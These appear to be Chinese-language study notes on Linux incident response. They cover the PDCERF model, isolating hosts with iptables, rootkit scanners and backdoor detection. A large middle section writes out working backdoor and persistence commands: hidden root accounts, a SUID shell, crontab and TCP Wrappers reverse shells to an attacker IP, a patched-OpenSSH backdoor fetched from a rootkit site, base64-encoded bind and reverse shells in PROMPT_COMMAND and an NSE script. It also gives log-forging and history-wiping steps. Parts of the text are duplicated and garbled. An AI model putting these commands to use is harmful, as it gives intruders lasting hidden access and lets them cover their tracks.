应急响应
什么是应急响应
PDCERF模型
P (Preparation准备)
D (Detection诊断)
C (Containment抑制)
E (Eradication根除)
R (Recovery恢复)
F (follow-up跟踪)
其实就是为了快速定位问题点,快速解决问题原因
应急工具:
ls, ifconfig , ps ,top
busybox
webshell 检查。病毒查杀
诊断:CPU 占用 -> 挖矿
阻断: 比如拔网线
根除: 黑客如何攻进来的,利用什么漏洞,在服务器中做了什么,清除后门,webshell等
恢复,监控: 应急报告
BusyBox
BusyBox 是一个集成了三百多个最常用Linux命令和工具的软件。
运维人员开始top、ps等未查找到异常进程是由于该病毒涉及到 Linux动态链接库预加载机制,
是一种常用的进程隐藏方法,而系统的ls,ps等命令已被通过so库的preload机制被病毒劫持。
而busybox是静态编译的,不依赖于系统的动态链接库,从而不受ld.so.preload的劫持,能够正常操作文件。
BusyBox下载
cd /bin/ wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox chmod 755 busybox
使用:
busybox top # 软件命令 + 系统命令
用什么工具来判断后门?
Chkrootkit
Rkhunter
查杀:cleamav (linx 查杀工具)
WebShell查杀
D盾查杀
http://www.d99net.net/News.asp?id=62
事件分类
事件分类也就是初步判断什么安全事件,是服务器CPU过高还是出现陌生用户名等
web入侵: 挂马,篡改,webshell
系统入侵: 系统异常,RDP爆破,ssh爆破,主机漏洞病毒
木马: 远控,后门
勒索软件、信息泄露:脱裤、数据库登录(弱口令)
网络流量:频繁发包、批量请求、DDOS攻击
每种事件处理方式不一样
Web入侵:挂马、篡改、Webshell
系统入侵:系统异常、RDP爆破、SSH爆破、主机漏洞病毒
木马:远控、后门
勒索软件信息泄漏:拖裤、数据库登录(弱口令)
网络流量:频繁发包、批量请求、DDOS攻击
抑制扩散
再排查问题之前记得先抑制,对被入侵的机器进行隔离。防止扩散
通过 iptables 隔离
#!/bin/bash iptables-save > /root/iptables.bak # 备份系统的的 iptables文件 iptables -F iptables -A INPUT -s 允许登录的IP -p tcp --dport 22 -j ACCEPT iptables -A OUTPUT -d 允许登录的IP -p tcp --sport 22 -j ACCEPT iptables -A INPUT -j DROP iptables -A FORWARD -j DROP iptables -A OUTPUT -j DROP
通过ssh登录调查取证。清理后门,完成之后需要恢复
iptables-restore < /root/iptables.bak
常用后门技术
增加超级用户帐号
破解/嗅控用户密码
放置SUID Shell
利用系统服务程序
TCP/UDP/ICMP Shell
Crontab定时任务
共享库文件
工具包rootkit
可装载内枋模块(LKM)
应急工具
1. 检查系统用户
2. 检查异常进程
3. 检查异常系统文件
4. 检查网络
5. 检查计划任务
6. 检查系统命令
7. 检查系统日志
8. 检查WebShell
9. 检查系统后门
常用后门技术
增加超级用户帐号
破解/嗅控用户密码
放置SUID Shell****
利用系统服务程序
Linux中毒的现象
服务器带宽异常
系统产生多余不明用户
开机启动不明服务和crontab任务中一些来历不明的任务
服务器CPU 100% 特别卡
远程连接不上
检查步骤
1. 检查系统日志
2. 检查系统用户
3. 检查异常进程
4. 检查异常系统文件
5. 检查网络
6. 检查系统计划任务
7. 检查系统后门
8. 检查系统服务
9. 检查RootKit
挖矿木马案件
Redis未授权导致被入侵
种了挖矿程序
Xor DDOS
开发人员设计弱口令导致被种马
- 增加超级用户帐号
- 破解/嗅控用户密码
- 放置SUID Shell****
- 利用系统服务程序
- TCP/UDP/ICMP Shell
- Crontab定时任务
- 共享库文件
- 工具包rootkit
- 可装载内枋模块(LKM)
增加超级用户
echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd #如果系统不允许uid=0的用户远程登录,可以增加一个普通用户账号 echo "mx7krshell::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
小案例
useradd seradd -u 0 -o -g root -G roo1
echo"123456" | passwd --stdin roo1 #有些环境中并不能成功
echo "roo1:password" |chpasswd #修改密码失败 echo"123456\n123456" |(sudo passwd roo1) #有些情况下是可以成功的一条命令
bash /usr/sbin/useradd -u 0 -o -g root -G root -d /home/mx7krshell mx7krshell -p $1$F1B0hFxb$NkzreGE7srRJ**\/
base useradd -u 0 -o -g root -G root user2 |echo -e "1qaz2wsx\n1qaz2wsx"|passwd user1
破解
放置SUID Shell
cp /bin/bash /dev/.rootshell chmod u+s /dev/.rootshell
Crontab后门
(crontab -l;printf"*/5 * * * * exec9<> /dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --noprofile –I;\rno crontab for `whoami`%100c\n")|crontab –
ssh 公钥免密
ssh-keygen -t rsa #把id_rsa.pub写入服务端的authorized_keys中 chmod 600 ~/.ssh/authorized_keys chmod 700 ~/.ssh
alias 后门
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
pam 后门 or openssh
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz wget http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz tar zxvf openssh-5.9p1.tar.gz tar zxvf 0x06-openssh-5.9p1.patch.tar.gz cd openssh-5.9p1.patch/ cp sshbd5.9p1.diff ../openssh-5.9p1 cd ../openssh-5.9p1 patch < sshbd5.9p1.diff #patch 后门
/* +#define ILOG "/tmp/ilog" //记录登录到本机的用户名和密码 +#define OLOG "/tmp/olog" //记录本机登录到远程的用户名和密码 +#define SECRETPW "123456654321" //你后门的密码 */ yum install -y openssl openssl-devel pam-devel ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 yum install -y zlib zlib-devel make && make install service sshd restart //重启sshd
SSH后门
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337
SSH wrapper后门简介
cd /usr/sbin/ mv sshd ../bin/ echo'#!/usr/bin/perl' >sshd echo'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd echo'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd chmod u+x sshd /etc/init.d/sshd restart
socat STDIO TCP4:target_ip:22,sourceport=13377
mafix rootkit
利用系统服务程序
vim /etc/inetd.conf
daytime stream tcp nowait /bin/sh sh –I
TCP/UDP/ICMP Shell
./ishd -i 65535 -t 0 -p 1024 -d
./ish -i 65535 -t 0 -p 1024 192.168.1.69
gcc <..OPTIONS..> -Wall -s -o prism prism.c -DDETACH #后台运行 -DSTATIC #开启STATIC模式 (默认ICMP模式) -DNORENAME #不使用自定义的进程名 -DIPTABLES #清空所有的iptables规则
sendPacket.py 内机 FUCK 控制端 19832
共享库文件
可装载内核模块(LKM)
wget http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz


隐藏文件
touch .webshell.php 创建名字为 .webshell.php 的文件 mkdir .backdoor/ 创建名字为 .backdoor 的文件夹
touch ... 创建名字为 ... 的文件 mkdir ... 创建名字为 ... 的文件夹
Git hooks
echo "xterm -display <attacker IP>:1 &" > .git/hooks/pre-commit chmod +x .git/hooks/pre-commit
git commit -am "Test"
PROMPT_COMMAND后门
export PROMPT_COMMAND='{ date "+[ %Y%m%d %H:%M:%S `whoami` ] `history 1 | { read x cmd; echo "$cmd from ip:$SSH_CLIENT $SSH_TTY"; }`"; }>> /home/pu/login.log'
export PROMPT_COMMAND="lsof -i:1025 &>/dev/null || (python -c \"exec('aW1wb3J0IHNvY2tldCxvcyxzeXMKcz1zb2NrZXQuc29ja2V0KCkKcy5iaW5kKCgiIiwxMDI1KSkKcy5saXN0ZW4oMSkKKGMsYSk9cy5hY2NlcHQoKQp3aGlsZSAxOgogZD1jLnJlY3YoNTEyKQogaWYgJ2V4aXQnIGluIGQ6CiAgcy5jbG9zZSgpCiAgc3lzLmV4aXQoMCkKIHI9b3MucG9wZW4oZCkucmVhZCgpCiBjLnNlbmQocikK'.decode('base64'))\" 2>/dev/null &)"
import socket,os,sys s=socket.socket() s.bind(("",1025)) s.listen(1) (c,a)=s.accept() while 1: d=c.recv(512) if 'exit' in d: s.close() sys.exit(0) r=os.popen(d).read() c.send(r)
nc 192.168.1.174 1025
PROMPT_COMMAND提权
export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"
script -t 2>demo.time -a demo.his 记录保存为录像 scriptreplay demo.time demo.his 播放记录
vim ~/.profile script -t -f -q 2>/wow/$USER-$UID-`date +%Y%m%d%H%M%S`.time -a /wow/$USER-$UID-`date +%Y%m%d%H%M%S`.his
Sudoers "trick"
sudo su -c "echo 'mx7krshell ALL = NOPASSWD: ALL' >> /etc/sudoers.d/README"

TCP Wrappers
ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/<Attack IP>/443 0>&1") & :allow
nmap nse后门
mkdir -p ~/.nmap/scripts/
cd ~/.nmap/scripts/
curl -O 'https://raw.githubusercontent.com/ulissescastro/linux-native-backdoors/master/nmap/http-title.nse'
local payload = "ZWNobyAiKi8xICogKiAqICogcHl0aG9uIC1jIFwiZXhlYygnYVcxd2IzSjBJSE52WTJ0bGRDeHpkV0p3Y205alpYTnpMRzl6TzJodmMzUTlKekV5Tnk0d0xqQXVNU2M3Y0c5eWREMDBORE03Y3oxemIyTnJaWFF1YzI5amEyVjBLSE52WTJ0bGRDNUJSbDlKVGtWVUxITnZZMnRsZEM1VFQwTkxYMU5VVWtWQlRTazdjeTVqYjI1dVpXTjBLQ2hvYjNOMExIQnZjblFwS1R0dmN5NWtkWEF5S0hNdVptbHNaVzV2S0Nrc01DazdiM011WkhWd01paHpMbVpwYkdWdWJ5Z3BMREVwTzI5ekxtUjFjRElvY3k1bWFXeGxibThvS1N3eUtUdHdQWE4xWW5CeWIyTmxjM011WTJGc2JDaGJKeTlpYVc0dlltRnphQ2NzSUNjdGFTZGRLVHNLJy5kZWNvZGUoJ2Jhc2U2NCcpKVwiIiB8IGNyb250YWI="
echo "*/1 * * * * python -c \"exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO2hvc3Q9JzEyNy4wLjAuMSc7cG9ydD00NDM7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KChob3N0LHBvcnQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbJy9iaW4vYmFzaCcsICctaSddKTsK'.decode('base64'))\"" | crontab#
import socket,subprocess,os;host='127.0.0.1';port=443;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash', '-i']);

进程注入
./cymothoa -p 1014 -s 0 -y 8888
清理
# bash去掉history记录 export HISTSIZE=0 export HISTFILE=/dev/null
修改上传文件时间戳
touch -r 老文件时间戳 新文件时间戳
伪造Apache日志中的指定IP
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/ access.log sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/error_log
Linux日志清除
sed –i 's/192\.168\.1\.3/192\.168\.1\.4/g' /var/log/apache/ access.log sed –i 's/192\.168\.1\.3/192\.168\.1\.4/g' /var/log/apache/error_log
vim /etc/my.cnf log-error=/var/log/mysql/mysql_error.log #错误日志 log=/var/log/mysql/mysql.log#最好注释掉,会产生大量的日志,包括每一个执行的sql及环境变量的改变等等 log-bin=/var/log/mysql/mysql_bin.log # 用于备份恢复,或主从复制.这里不涉及。 log-slow-queries=/var/log/mysql/mysql_slow.log #慢查询日志 log-error=/var/log/mysql/mysqld.log pid-file=/var/run/mysqld/mysqld.pid
sed –i 's/192\.168\.1\.3/192\.168\.1\.4/g' /var/log/mysql/mysql_slow.log
sed –i 's/192\.168\.1\.3/192\.168\.1\.4/g'/var/log/apache/php_error.log
/var/log/maillog
# 日志文件记录了每一个发送到系统或从系统发出的电子邮件的活动,它可以用来查看用户使用哪个系统发送工具或把数据发送到哪个系统
var/log/messages
# 该文件的格式是每一行包含日期、主机名、程序名,后面是包含PID或内核标识的方括号,一个冒号和一个空格
/var/log/wtmp
# 该日志文件永久记录每个用户登录、注销及系统的启动,停机的事件。
# 该日志文件可以用来查看用户的登录记录,last命令就通过访问这个文件获得这些信息,并以反序从后向前显示用户的登录记录,last也能根据用户,终端tty或时间显示相应的记录
/var/run/utmp # 该日志文件记录有关当前登录的每个用户的信息,因此这个文件会随着用户登录和注销系统而不断变化,它只保留当时联机的用户记录,不会为用户保留永久的记录。 # 系统中需要查询当前用户状态的程序,如who、w、users、finger等就需要访问这个文件
/var/log/xferlog
# 该日志文件记录FTP会话,可以显示出用户向FTP服务器或从服务器拷贝了什么文件。
# 该文件会显示用户拷贝到服务器上的用来入侵服务器的恶意程序,以及该用户拷贝了哪些文件供他使用。
bash_history
# 这是bash终端的命令记录,能够记录1000条最近执行过的命令(具体多少条可以配置),
# 通过这个文件可以分析此前执行的命令来知道知否有入侵者,每一个用户的home目录里都有这么一个文件
后门的检测
被入侵检测流程
检查web应用层后门
检查系统层后门
检查内核级后门
wget https://jaist.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.6/rkhunter-1.4.6.tar.gz
run -> rkhunter --checkall
bin, daemon, adm, lp, sync, shutdown, halt, mail, news, uucp, games, gopher, ftp, nobody, xfs, named, gdm, sys, nuucp, listen
user_name :passwd : uid : gid : note : home_directory : shell
in.ftpd、in.telnetd、in.rshd、in.rlogind、in.rexecd、in.talkd、in.ntalkd、 in.dtalkd、ipop2d、ipop3d、imapd、uucico、in.tftpd、bootpd、in.fingerd、 in.cfingerd、in.identd、in.comsat
anacron、apmd、arpwatch、atd、crond、functions、gpm、halt、httpd、httpd.orig、identd、inet、ipchains、ipsec、irda、kdcrotate、keytable killall kudzu、linuxconf lpd、named、netfs、network、nfs、nfslock、pcmcia、portmap、random、rstatd、rusersd、rwalld、rwhod、sendmail、single、snmpd、syslog、
xfs、ypbind、yppasswdd、ypserv
char rewt[5]; rewt[0]='r'; rewt[1]='e'; rewt[2]='w'; rewt[3]='t'; rewt[4]='\0'; if (!(strcmp(name,rewt))) { strcpy(name,"root"); elite++; }
char MAG[7]; MAG[0] = '*'; MAG[1] = '*'; MAG[5] = '*'; MAG[6] = '\0'; if (!strcmp(input,MAG)) return3;
ls、dir、vdir # 后门的用意是隐藏文件和目录。
-rw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/ptyr
crw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/ptyr
brw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/***
du : 后门同样是用来隐藏文件和目录。
-rw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/ptyr
crw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/ptyr
brw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/***
ifconfig : 后门就是把下面一行代码注释掉,
if (ptr->flags& IFF_PROMISC) printf("PROMISC ");
-rw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/ptyq
crw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/ptyq
brw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/***
[root@Solaris2.7/root]> netstat -p | more Net to Media Table Device IP Address Mask Flags Phys Addr
hme0 gateway 255.255.255.255 ::::: hme0 192.168.. 255.255.255.255 ::::: hme0 192.168.. 255.255.255.255 :::::
[root@redhat62/root]# netstat -p | more Active Internetconnections (w/o servers) Proto Recv-Q Send-QLocal Address Foreign Address State PID/Program name tcp 0 0 ******:telnet ******:1034 ESTABLISHED 2780/in.telnetd:sc tcp 0 0 ******:ssh ******:1038 ESTABLISHED 2715/sshd2
-rw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/ptyp
crw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/ptyp
brw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/***
-rw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/ptyp
crw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/ptyp
brw-rw-rw- 1 root tty 2, 164 May 6 1998 /dev/***
-rw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/ptyq
crw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/ptyq
brw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/***
-rw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/ptys
crw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/ptys
brw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/***
-rw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/ptys
crw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/ptys
brw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/***
pop3d-trojan.tar.gz
-rw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/ptys
crw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/ptys
brw-rw-rw- 1 root tty 2, 164 May 6 1998/dev/***